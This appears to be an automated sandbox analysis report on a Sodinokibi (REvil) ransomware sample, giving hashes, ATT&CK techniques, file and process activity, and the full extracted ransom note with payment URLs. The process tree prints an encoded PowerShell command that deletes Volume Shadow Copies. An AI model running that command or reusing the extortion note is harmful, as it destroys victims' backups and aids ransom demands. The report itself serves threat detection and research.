sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
91s
max time network
96s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
02-03-2024 17:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

d017828944f5365b17520051ac994d03
SHA1

7a5b42b5645b9685dc3864a860dd3f4a042ffc50
SHA256

22e6baf4d3e4dba5f6f3ab349700d0169eeeb4a989b20b64a6aefba8be9fa64a
SHA512

58e259497c0cc3bec6527685d33afa9137fcb5640be1c57b390a2ef69b1878d34f72723f5587d984d84a5b5558961a8731285b4cf3c3b733a931bd6a4d8eb4c0
SSDEEP

3072:v0XoUeZ/DVS8L73ea4MoCLfqQvFfDRPzOYQPbkMK:veoUeZR2TRCWQFf9PHQPbvK

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Recovery\79bm9t-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 79bm9t. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E850387EE0DF3037 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/E850387EE0DF3037 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: N3hZKekSb1djrgfv4e+uafRx2DSpAKm5Uq1Pew4jPrOra4oAPapySVE22rHR9GBb YHm54XEbcYYDFn2u1uAfAXLZ4cq9g+YyK7jvfkFCQE4aXDljBqf51R+2FbMy0Mlh T4uS8kYfWKIYEpGvYIjn5pcc/D6kNPX2NGSnagy771tRwyFKGMvr/4zqY3nNVnAA BIwKVHo2YnOMUdkgfkh0RLqDsLAbHpDXsaibjKPUKTAMjToCVCYTbeiiaeAwvW7H lYkP4tMGkNwrRHyBLjSFp8jvabk7t1A6of8L7tXo8i+YV0LRvKki5uoH+tQ7gKIZ cIgEw6sizQTGNwhSIllLIE4B30MTQvP6HWEsoJJz/ts4RIReIxk2JPjRu6YKAS8F OfXfQuJxxpe/t1nc2b4sXTZm6CfTikjEQ7yfkqws+zqSnZOU/aJmmAaga/JfYRI3 4UfQBnB17mqrrVilUq8ZEDoHfuj39hqGN0SbqjLopDpCkMrBYaXBbeuG+vOEk+f/ ESY7RBpM4EcSbpLDptz0KYoQd2X4sLyysgR+8ihcT9RicgpR3e9Hz3gfZk0geSJl VqYEq+24GXYwI2vVw2K+AXXFBVc/lAK3muz7GkyIPFd4rJqM39AwJCxsZLImPC2c GUx+cj6OlsNJnSIxtaqCcwY2fTDny5zxm8+tSdYk+eC3a+z3p3XXqIPadZ8d92tt ba8WkY0pxGoopO8VSTmx7asUWCkcnmw7iHqG8OJ9kaXV0DqxlyChvz9sK58SZIM7 qbaipkVN9RsmnmxBeP3N00gU5mxbFZqIXGBwNAXNC+k/Z2ZGuD04KnXDR8W+myvn BebOz49sYQvrazzZ2NPV7tzbY/nEJC6bLMD2aobJVDJuv5f7F2FiiYeB4BlOsOAB UuLEONZ9yLHHWAapOXegCro7MppnO4PDlk9v1muQqq+L+ekF7zj142SCNBlQnJ0y b+aJRUpB6iGy39v+vrNXixO95EgR4GBSt+zrdj4Quq2Lvudb26Xz+xjpIOrtEyi7 hKSLTdiz+A9DZIwlJJ6L/qqTk97tzWZrz27/zSsYaiHmr0PK5eFXw5udcAyY1ei6 l1nMrg05IGrb5h57VnzSqAD+wT+3lvykDnKmoFarmjH8icI939NKMhUB+rDEYYRM RApNgynGcpAUxKPI6Ii7WvcYml6g6siudgMN5p/E0zKHXUoPTmW5xHYDKTOAfMaz WSv9FWeNj9u1sPgSvI4xuqbR ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/E850387EE0DF3037

http://decryptor.cc/E850387EE0DF3037

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe

Drops file in Program Files directory 26 IoCs

Processes:

rundll32.exe

description	ioc	process
File opened for modification	\??\c:\program files\DenyRead.aifc	rundll32.exe
File opened for modification	\??\c:\program files\ReadSkip.kix	rundll32.exe
File opened for modification	\??\c:\program files\DebugStep.jpeg	rundll32.exe
File opened for modification	\??\c:\program files\MeasureConvert.xla	rundll32.exe
File opened for modification	\??\c:\program files\PingCopy.sql	rundll32.exe
File opened for modification	\??\c:\program files\SetDebug.xla	rundll32.exe
File opened for modification	\??\c:\program files\WatchStart.ppsx	rundll32.exe
File opened for modification	\??\c:\program files\ConfirmSet.xltm	rundll32.exe
File opened for modification	\??\c:\program files\ConvertResume.wma	rundll32.exe
File opened for modification	\??\c:\program files\DisconnectStop.DVR	rundll32.exe
File opened for modification	\??\c:\program files\MeasureLock.dotx	rundll32.exe
File created	\??\c:\program files\79bm9t-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\AddCompress.ppsm	rundll32.exe
File opened for modification	\??\c:\program files\ExportComplete.edrwx	rundll32.exe
File opened for modification	\??\c:\program files\RegisterDisable.tif	rundll32.exe
File opened for modification	\??\c:\program files\SubmitGet.DVR-MS	rundll32.exe
File opened for modification	\??\c:\program files\WatchLock.TTS	rundll32.exe
File opened for modification	\??\c:\program files\DebugUninstall.temp	rundll32.exe
File opened for modification	\??\c:\program files\DisconnectConvertFrom.php	rundll32.exe
File opened for modification	\??\c:\program files\DismountBlock.wax	rundll32.exe
File opened for modification	\??\c:\program files\OptimizeClear.otf	rundll32.exe
File opened for modification	\??\c:\program files\FormatReset.inf	rundll32.exe
File opened for modification	\??\c:\program files\SubmitResize.cr2	rundll32.exe
File opened for modification	\??\c:\program files\UnregisterDebug.shtml	rundll32.exe
File created	\??\c:\program files (x86)\79bm9t-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\JoinSelect.ram	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid process

3484 rundll32.exe
3484 rundll32.exe
1512 powershell.exe
1512 powershell.exe

pid	process
3484	rundll32.exe
3484	rundll32.exe
1512	powershell.exe
1512	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	3484	rundll32.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeBackupPrivilege	3620	vssvc.exe
Token: SeRestorePrivilege	3620	vssvc.exe
Token: SeAuditPrivilege	3620	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 2344 wrote to memory of 3484	2344	rundll32.exe	rundll32.exe
PID 2344 wrote to memory of 3484	2344	rundll32.exe	rundll32.exe
PID 2344 wrote to memory of 3484	2344	rundll32.exe	rundll32.exe
PID 3484 wrote to memory of 1512	3484	rundll32.exe	powershell.exe
PID 3484 wrote to memory of 1512	3484	rundll32.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2344

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
2⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3484

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1512

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:280

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3620

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Recovery\79bm9t-readme.txt
Filesize
6KB

MD5
767ca35604a618e5b9c5ea3515652fb1

SHA1
088e81533eb814f2588fb808ed4f5076028a0ec3

SHA256
033521a2b222c4bb7f006500f91a64af2464578c9d5dfcbed5cfd35badabb3ae

SHA512
e550e2886a9467b718c7320e83cbe7b971a79e0b317e3001dc2122fe021cf4ab826de0b6ce38972327c3d99ea793062148aad1ec5940e5d5a793032605f8ff88

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_welcqjje.ne4.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1512-0-0x0000024E48F20000-0x0000024E48F42000-memory.dmp

Filesize
136KB

Download
memory/1512-9-0x00007FFCFB590000-0x00007FFCFC052000-memory.dmp

Filesize
10.8MB

Download
memory/1512-10-0x0000024E610C0000-0x0000024E610D0000-memory.dmp

Filesize
64KB

Download
memory/1512-11-0x0000024E610C0000-0x0000024E610D0000-memory.dmp

Filesize
64KB

Download
memory/1512-14-0x00007FFCFB590000-0x00007FFCFC052000-memory.dmp

Filesize
10.8MB

Download